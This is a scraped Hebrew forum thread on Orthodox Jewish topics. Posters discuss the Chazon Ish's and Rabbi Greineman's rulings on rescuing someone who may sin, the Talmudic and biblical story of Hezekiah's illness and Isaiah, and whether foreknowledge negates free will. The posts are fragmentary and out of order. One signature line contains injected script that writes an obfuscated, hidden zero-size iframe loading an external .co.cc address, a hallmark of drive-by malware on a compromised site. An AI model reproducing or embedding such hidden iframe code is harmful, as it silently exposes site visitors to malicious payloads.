מעשה נורא בחירש והיתר מופלא עוד יותר

המעשה הבא התפרסם בגליון השלושים לרב שטינמן של יתד נאמן, שבת קדש, כ"ה טבת תשע"ח, עמ' 38. אני מעתיק בהשמטת תארים.

''ספרי מינים -יוונים נושרים. מוזכר בגמרא על אליש ע בן אבויה

יש לי עוד מה לכתוב על השאר, אבל בינתיים: מישהו שרוצה להתגייס לצבא, ולא מונעים ממנו, ו"אפילו" לא משכנעים אותו שלא להתגייס, זה לא נקרא ש"מסכנים" אותו

לידידנו הותיק והנאמן פרופסור בני

איקון ירוק מאד.

אם נניח שהרב דוד בלוך משתדל לדייק בסיפוריו, וזכרונו אינו מטעהו, איך נבין את הקביעה של החזו"א לגבי אותו נער שספרי מינים נושרים מחיקו.

ובכלל, למה הכוונה באותם "ספרי מינים"? ספרי קריאה? רומנים, בלשים? מה כבר היה אז ואיך החזו"א ידע על זה?

האם הבחור הגיע אליו לשיחה? או המשגיח של הישיבה שבה הבחור למד?

האם "ספרי מינים נושרים" הוא ביטוי מקורי של החזו"א או שהמספר, הרח"ג, השתמש בו לראשונה?

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

בני
לפחות קבלנו ברכה ממך והמברך יתברך

שמחבחור

לא הבנתי את השאלה אבל אחזור על הדברים כי כנראה לא כתבתי ברור. כיון שהתחלתי אז אוסיף ואסכם את היחס בין המקורות והמסקנות.

יש לנו שני סיפורים.

א. הרב חיים גריינמן אמר לרב דוד בלוך שישכנע בחור שאינו חזק במצוות שילך להסדר למרות שהוא עלול לההרג ולא לעתודה כי שם הוא מסתכן במוות רוחני.

ב. החזו"א בירך ילד חולה אבל לא ידוע שהתפלל עבורו במיוחד. והסביר כי הילד צפוי להיות "כופר" (ברמה כלשהי שלא התבארה לנו: האם עלול להיות חילוני או שמא "רק" עלול לחשוב שסיפורי חז"ל אינם כולם היסטוריה, מה שנחשב לדעת החזו"א כידוע לאפיקורסות). החזו"א אמר: מצוה להצילו ככל חולי ישראל, אבל השתדלות מיוחדת של תפילה לא יעשה עבורו, לבקש לו נס.

אין מסר אחיד בשני הסיפורים, ולמעשה יתכן שהר"ח גריינמן החמיר לסכן את העתודיסט יותר ממה שהחזו"א היה אומר.

החזו"א אמר שצריך להציל גם מי שעלול להיות כופר או ודאי יהיה כופר כי הוא יהודי (אבל מדובר כעת. מה יהיה לאחר זמן איני יודע. לפי שיטתו במקום אחר שכולם תינוקות שנשבו אולי גם אז יש להצילו).

הרח"ג קבע שיש לפעול לשלוח בחור בסיכון רוחני להסדר כדי שיתחזק גם אם שם זו סכנה פיזית כי סכנה פיזית פחותה מסכנה רוחנית.

כלומר הרח"ג הורה לסכן את מי שעלול להתקלקל כדי להצילו.

אף אחד מן הסיפורים האלו אינו מעביר מסר דומה לזה שנמסר בשם הרב זילברשטיין. אבל יש מן המשותף לנושאים: המצב היום מול המצב העתידי, האחריות שלנו למנוע עתיד של עשיית איסורים, הסיכון או המחיר לפיו מי שזקוק לעזרה לא יתפתח כראוי, או יבוא לכלל סכנה.

האם אפשר לבנות תיאוריה עקבית לגבי רמות האחריות מול האיסור לעזור? סבורני שהרב זילברשטיין קבע רף שגוי גם בהשוואה למקורות של הרב דוד בלוך. איש מהם לא קבע שאסור לרפא מי שיעבור עבירות.

לעומת זאת, בתשובה של החת"ס מצאנו שאין לאפשר האכלת טריפות למי שאינו אסור בהן וגם אם זה לא "בידים" (כלומר מוסרים אותו למי שיעשה זאת לו במהלך ריפויו) כי אנו מניחים שטריפות מקלקלות את הנפש וזה יזיק לו גם אם במובנים אחרים יתרפא. וזה כבר דומה יותר לפסק הרב זילברשטיין.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

הגרסה ב"ישעיהו" כוללת גם את תפילתו הנפלאה של חזקיהו.

העתקתי את הסיפור כולל ההמשך בגלל הערה בסופו של חזקיה לאחר שטעה ולקח את שליחי המלך הבבלי לסיור במקדש והראה את אוצרותיו. מה שכמובן חשף את האוצרות לתאותו של הכובש הבבלי.

ישעיהו מאיים עליו:

מלכים ב פרק כ
(א) בַּיָּמִים הָהֵם חָלָה חִזְקִיָּהוּ לָמוּת וַיָּבֹא אֵלָיו יְשַׁעְיָהוּ בֶן אָמוֹץ הַנָּבִיא וַיֹּאמֶר אֵלָיו כֹּה אָמַר יְדֹוָד צַו לְבֵיתֶךָ כִּי מֵת אַתָּה וְלֹא תִחְיֶה:
(ב) וַיַּסֵּב אֶת פָּנָיו אֶל הַקִּיר וַיִּתְפַּלֵּל אֶל יְדֹוָד לֵאמֹר:
(ג) אָנָּה יְדֹוָד זְכָר נָא אֵת אֲשֶׁר הִתְהַלַּכְתִּי לְפָנֶיךָ בֶּאֱמֶת וּבְלֵבָב שָׁלֵם וְהַטּוֹב בְּעֵינֶיךָ עָשִׂיתִי וַיֵּבְךְּ חִזְקִיָּהוּ בְּכִי גָדוֹל: ס
(ד) וַיְהִי יְשַׁעְיָהוּ לֹא יָצָא העיר חָצֵר הַתִּיכֹנָה וּדְבַר יְדֹוָד הָיָה אֵלָיו לֵאמֹר:
(ה) שׁוּב וְאָמַרְתָּ אֶל חִזְקִיָּהוּ נְגִיד עַמִּי כֹּה אָמַר יְדֹוָד אֱלֹהֵי דָּוִד אָבִיךָ שָׁמַעְתִּי אֶת תְּפִלָּתֶךָ רָאִיתִי אֶת דִּמְעָתֶךָ הִנְנִי רֹפֶא לָךְ בַּיּוֹם הַשְּׁלִישִׁי תַּעֲלֶה בֵּית יְדֹוָד:
(ו) וְהֹסַפְתִּי עַל יָמֶיךָ חֲמֵשׁ עֶשְׂרֵה שָׁנָה וּמִכַּף מֶלֶךְ אַשּׁוּר אַצִּילְךָ וְאֵת הָעִיר הַזֹּאת וְגַנּוֹתִי עַל הָעִיר הַזֹּאת לְמַעֲנִי וּלְמַעַן דָּוִד עַבְדִּי:
(ז) וַיֹּאמֶר יְשַׁעְיָהוּ קְחוּ דְּבֶלֶת תְּאֵנִים וַיִּקְחוּ וַיָּשִׂימוּ עַל הַשְּׁחִין וַיֶּחִי:
(ח) וַיֹּאמֶר חִזְקִיָּהוּ אֶל יְשַׁעְיָהוּ מָה אוֹת כִּי יִרְפָּא יְדֹוָד לִי וְעָלִיתִי בַּיּוֹם הַשְּׁלִישִׁי בֵּית יְדֹוָד:
(ט) וַיֹּאמֶר יְשַׁעְיָהוּ זֶה לְּךָ הָאוֹת מֵאֵת יְדֹוָד כִּי יַעֲשֶׂה יְדֹוָד אֶת הַדָּבָר אֲשֶׁר דִּבֵּר הָלַךְ הַצֵּל עֶשֶׂר מַעֲלוֹת אִם יָשׁוּב עֶשֶׂר מַעֲלוֹת:
(י) וַיֹּאמֶר יְחִזְקִיָּהוּ נָקֵל לַצֵּל לִנְטוֹת עֶשֶׂר מַעֲלוֹת לֹא כִי יָשׁוּב הַצֵּל אֲחֹרַנִּית עֶשֶׂר מַעֲלוֹת:
(יא) וַיִּקְרָא יְשַׁעְיָהוּ הַנָּבִיא אֶל יְדֹוָד וַיָּשֶׁב אֶת הַצֵּל בַּמַּעֲלוֹת אֲשֶׁר יָרְדָה בְּמַעֲלוֹת אָחָז אֲחֹרַנִּית עֶשֶׂר מַעֲלוֹת: פ
(יב) בָּעֵת הַהִיא שָׁלַח בְּרֹאדַךְ בַּלְאֲדָן בֶּן בַּלְאֲדָן מֶלֶךְ בָּבֶל סְפָרִים וּמִנְחָה אֶל חִזְקִיָּהוּ כִּי שָׁמַע כִּי חָלָה חִזְקִיָּהוּ:
(יג) וַיִּשְׁמַע עֲלֵיהֶם חִזְקִיָּהוּ וַיַּרְאֵם אֶת כָּל בֵּית נְכֹתֹה אֶת הַכֶּסֶף וְאֶת הַזָּהָב וְאֶת הַבְּשָׂמִים וְאֵת שֶׁמֶן הַטּוֹב וְאֵת בֵּית כֵּלָיו וְאֵת כָּל אֲשֶׁר נִמְצָא בְּאוֹצְרֹתָיו לֹא הָיָה דָבָר אֲשֶׁר לֹא הֶרְאָם חִזְקִיָּהוּ בְּבֵיתוֹ וּבְכָל מֶמְשַׁלְתּוֹ:
(יד) וַיָּבֹא יְשַׁעְיָהוּ הַנָּבִיא אֶל הַמֶּלֶךְ חִזְקִיָּהוּ וַיֹּאמֶר אֵלָיו מָה אָמְרוּ הָאֲנָשִׁים הָאֵלֶּה וּמֵאַיִן יָבֹאוּ אֵלֶיךָ וַיֹּאמֶר חִזְקִיָּהוּ מֵאֶרֶץ רְחוֹקָה בָּאוּ מִבָּבֶל:
(טו) וַיֹּאמֶר מָה רָאוּ בְּבֵיתֶךָ וַיֹּאמֶר חִזְקִיָּהוּ אֵת כָּל אֲשֶׁר בְּבֵיתִי רָאוּ לֹא הָיָה דָבָר אֲשֶׁר לֹא הִרְאִיתִם בְּאֹצְרֹתָי:
(טז) וַיֹּאמֶר יְשַׁעְיָהוּ אֶל חִזְקִיָּהוּ שְׁמַע דְּבַר יְדֹוָד:
(יז) הִנֵּה יָמִים בָּאִים וְנִשָּׂא כָּל אֲשֶׁר בְּבֵיתֶךָ וַאֲשֶׁר אָצְרוּ אֲבֹתֶיךָ עַד הַיּוֹם הַזֶּה בָּבֶלָה לֹא יִוָּתֵר דָּבָר אָמַר יְדֹוָד:
(יח) וּמִבָּנֶיךָ אֲשֶׁר יֵצְאוּ מִמְּךָ אֲשֶׁר תּוֹלִיד יקח יִקָּחוּ וְהָיוּ סָרִיסִים בְּהֵיכַל מֶלֶךְ בָּבֶל:
(יט) וַיֹּאמֶר חִזְקִיָּהוּ אֶל יְשַׁעְיָהוּ טוֹב דְּבַר יְדֹוָד אֲשֶׁר דִּבַּרְתָּ וַיֹּאמֶר הֲלוֹא אִם שָׁלוֹם וֶאֱמֶת יִהְיֶה בְיָמָי:

ואשר לסיפור מן התלמוד, יש  לי קריאה משלי בסיפור. ואציג אותה כאן כי סבורני שהיא מוליכה למסקנות שונות ממה שהוסק ממנה או לפחות פותחת שער לפרשנויות אחרות.

האם חז"ל התכוונו לספר לנו סיפור היסטורי? האם המעשה הזה מבוסס על מסורת או שהוא אמיתי כי חז"ל דייקו אותו משיקולים שונים, שאציע לקמן, או מפני שהיתה להם רוח הקודש? אני מניח שיש כאלו שיענו בחיוב, כלומר שזה סיפור היסטורי. ולא עוד, אלא מי שיחלוק או אפילו יטיל בדבר ספק הוא אפיקורס. אולי גם החזו"א היה סובר כך? או שהיה סובר שמבחינה חברתית אין להביע ספקנות בהבנה ההיסטורית של הסיפור? ומה היה אומר הרב דוד בלוך?

אני, עם זאת, סבור שאין כאן שום יומרה היסטורית של חז"ל. אני סבור שאותו חכם שסיפר את הסיפור יצר אותו, גם מתוך ההבנה שלא יטעו לחשוב שזו היסטוריה (אם כי  אולי חשב שזה אפשרי שהוא קולע לאמת). וזה מה שרצה להשיג: מסרים ותירוץ לקושיות.

וזה בכמה רמות ותחומים.

א. כיצד היה לחזקיה, מגדולי המלכים הצדיקים, בן כל כך רשע?

ההימנעות לכאורה של חזקיה מהולדת הבן הזה עד כדי סיכון של חייו ובלבד לא להוליד את מנשה מתרצת חלק מן הקושי. חזקיה אכן ידע מה שיקרה ואכן היה מוכן למסור נפשו ולא להוליד ילד כמו מנשה.

ב. הסיפור נאחז עד כמה שנראה באירוע היסטורי של מחלתו של חזקיה, הסיפור התלמודי מספק לנו רקע נחוץ לפחות מבחינת הגמול. הרי אין מחלה בלא עונש, אז למה היה חזקיה אמור לחלות?

לקמן אעתיק את הסיפור כי הוא קצר, וסבורני שהוא מרגש מאד מצד עצמו גם בלי הפרשנות שחזקיה נענש.

ג. אם אין סבל ומחלה בלא עוון, אז צריך לספק הסבר לחטא שחטא חזקיה, והפרשנות שמוצעת בסיפור התלמודי היא שהחטא שלו נעשה על כורחו ולשם שמים. זה מסיר מעל חזקיה כתם שהיינו עלולים לייחס לו.

ד. הסיפור התלמודי מוסיף על הסיפור בתנ"ך מה שכבר נמצא בסיפור המקורי. הרעיון שבשעת צרה אדם יכול להתפלל ולהיענות וייעשה לו נס.

בשורה אחת: המספר, רב המנונא, מקשט את הסיפור בתנ"ך ומשלים פרטים שלא נמצאים בו ומתוך כך הוא מייפה עוד יותר את דמותו של חזקיהו.

בראשית הסיפור מופיע גם הרעיון שה' גורם לשנים להיפגש כאשר כל אחד סבור שזה מתחת לכבודו לבוא אל השני. (מזכיר את הפרשנות התלמודית לשאלה מדוע יפתח ופנחס, שכביכול חי עד אז, לא נפגשו כדי להתיר את נדרו של יפתח להרוג את בתו, ששם זה היה מחמת גאווה של שניהם). יתכן שהסיפור בא כדי להמחיש את הרעיון הזה, ואין זה רחוק בעיני לשער שהמספר יספר כזה סיפור כדי למתוח ביקורת על בני דורו, על איזו מחלוקת בין חשובי האומה שלא נפתרה בגלל שלא נפגשו לשיחה אישית. ואולי זה רמז שעדיף להיפגש ולדבר כדי שהקב"ה לא יכפה עליהם לעשות זאת באמצעים לא נעימים. לדעתי מצאנו כאלו דרשות וכאלו מעשים ויש דוגמאות לכך בימי רבי יוחנן על התנגשויות בין הנשיא (רבי יהודה נשיאה במיוחד, כמדומה) והאמוראים.

אמנם גם אם הסיפור הוא מומצא, יש בו הנחות יסוד שמהן ניתן לדייק, ואכן דייקו מהן באשכול שלנו, כפי החל בדבר זה אליקים שלנו (ואיקון ירוק לו).

והשאלה שיש לנו לשאול היא: כאשר חז"ל מספרים סיפור, כמו פה, והסיפור מבוסס גם על הנחות שנראות נגד עקרונות חשובים, האם אפשר להסתמך על דיוק העקרונות ולומר שזו היתה דעתם? או שמא זה המחיר של המצאת סיפור שפותר קושי במקום אחד וגורר קשיים מסוג אחר, ואפשר לומר שהמספר סמך על כך שלא נטעה אחריו?

זו שאלה שקשה להכריע בה. הרי אנו, גם אני בעצמי, מסתמך על דיוקים כאלו כדי לומר שגם אם הסיפור לא נכון, הדיוק משקף את דעת המחבר ולפעמים את עצם כוונתו.

לגבי הדיוקים של כאן:


בהמשך להערתו דלעיל של נתי (הרב נתנאל שליט"א), יש לשאול: מי שהוליד בן רשע מרושע כמו מנשה, האם קיים מצות "פרו ורבו"?

זה מעניין, מפני שמצוה זו, "פרו ורבו", היא מצוה שמוגדרת על פי הצלחת המוליד, כי מי שהוליד ומתו ילדיו בלי זרע בחייו הרי זה לא קיים. ויעויין במנחת חינוך על מצוה זו.

לגבי זרע רע, יש לנו מחלוקת לגבי העברת הירושה מהבן הרע לבן הטוב, מהבכור הרע לבן אחר, וגם אם יש כאלו שסברו שמן הראוי לעשות זאת, אחרים סברו שיש להשאיר את הירושה כפי שהיא. ולא נתבאר לנו אם זה מפני שסברו שמצוה דאורייתא של ירושה חשובה יותר או מפני שהבן הרע יכול להשתנות, או מפני שיהיה לו בתורו זרע צדיק.

מראי מקומות:

לאי העברת ירושה כולל עקיפת רצונו של המוריש: ב"ב קלד במעשה שבו ניצח יונתן בן עוזיאל את שמאי.

המעשה של רב המנונא על חזקיה וישעיה: ברכות י א.

המעשה בתנ"ך על מחלת חזקיה וביקור ישעיה הנביא מופיע פעמיים:

ישעיהו לח, מלכים ב כ.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

חברנו נתי רובין (הרב נתנאל שליט"א) העיר על הסיפור התלמודי על חזקיה שלא יתכן שאפשר היה לדעת אם בנו יצא רשע או לא כי זה שולל את הבחירה החופשית. והרי הוא מומחה בתחום כפי שמעיד הדוקטורט שלו.

יש לענות על זה בשתי הערות:

האם ידיעת העתיד שוללת בחירה חופשית? אולי לא. כמובן, העתיד פתוח והבחירה נתונה, אבל אדם עדיין עשוי לטעון שהוא יודע מה ירצה הבוחר בעתיד. כמובן, פירסום ה"נבואה" או הידיעה העתידית יוצר פרדוקס. אם הבוחר ידע על מה שמצפים ממנו, אולי הוא ירצה לעשות דווקא ולשנות. אבל יתכן שהוא ידע עליה ועדיין ימשיך בדרך שבה בחר.

המעמד האונטולוגי והמעמד הלוגי שיש לייחס לאמירות על העתיד הוא ייחודי ושונה כנראה מן המעמד שיש לייחס לאמירות על העבר או אמירות מדעיות. אבל זה לא מחייב שאי אפשר להשמיע הצהרה לגבי העתיד ולקבוע בוודאות, עד כמה שניתן לנו, שיהיה כך ולא אחרת. דומה שכדי להרחיב דברים צריך מבוא קצר מן הפילוסופיה.

_שכחתי לציין איקונים ירוקים לשמח-בחור ולשאר החברים, כמו תט ואליקים וכולם, שעוררו אותי לכל מה שעיינתי וכתבתי________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

המעשים דלעיל, כולל חומר נוסף שמובא ב"נטפי שפיות", מעלים את השאלה הראויה לאשכול: עד כמה חריגה מן התלם מהווה סטיה שהופכת את האדם ל"חייב" עד כדי שמוטב היה לו שימות כרגע "זכאי" ואל יגיע להיות חייב. האם המקום לדיון הוא כאן באשכול? במחשבה שניה, אולי כן. הכל מצטרף יחד לשאלה מתי מצילים.

כתבתי לפרופסור בני בראון ואולי ימצא זמן לענות.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");